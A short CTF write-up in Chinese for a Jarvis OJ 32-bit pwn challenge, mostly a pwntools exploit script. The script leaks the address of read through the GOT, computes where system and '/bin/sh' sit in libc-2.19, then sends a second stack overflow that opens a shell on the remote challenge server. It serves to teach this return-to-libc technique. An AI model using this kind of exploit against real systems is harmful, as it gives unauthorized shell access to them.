思路:通过延迟绑定原理leak出read函数真实地址,进而可以求出system跟/bin/sh在内存中的真实地址,最后通过二次栈溢出getshell。
# coding:utf-8
from pwn import *
context(os='linux',arch='i386')
sh = remote('pwn2.jarvisoj.com',9879)
# leak出read函数的真实地址并再次调用vulnerable_function函数
shellcode = 'a' * (0x88 + 0x4) + p32(0x08048340) + p32(0x0804844B) + p32(0x01) + p32(0x0804A00C) + p32(0x04)
sh.recvuntil('Input:\n')
sh.sendline(shellcode)
read_addr = u32(sh.recv(4))
# 计算system函数和/bin/sh在内存中的真实地址
elf = ELF('./libc-2.19.so')
offset = read_addr - elf.symbols['read']
system = offset + elf.symbols['system']
binsh = offset + elf.search('/bin/sh').next()
# 二次栈溢出
payload = 'a' * (0x88 + 0x4) + p32(system) + p32(0x01) + p32(binsh)
sh.recvuntil('Input:\n')
sh.sendline(payload)
sh.interactive()
sh.close()
PS:此处本地运行时优先装在本地系统中的libc库,导致实际装载库并非libc-2.19.so,故而报错,直接使用远程连接就不会了。
LINK:
延迟绑定技术原理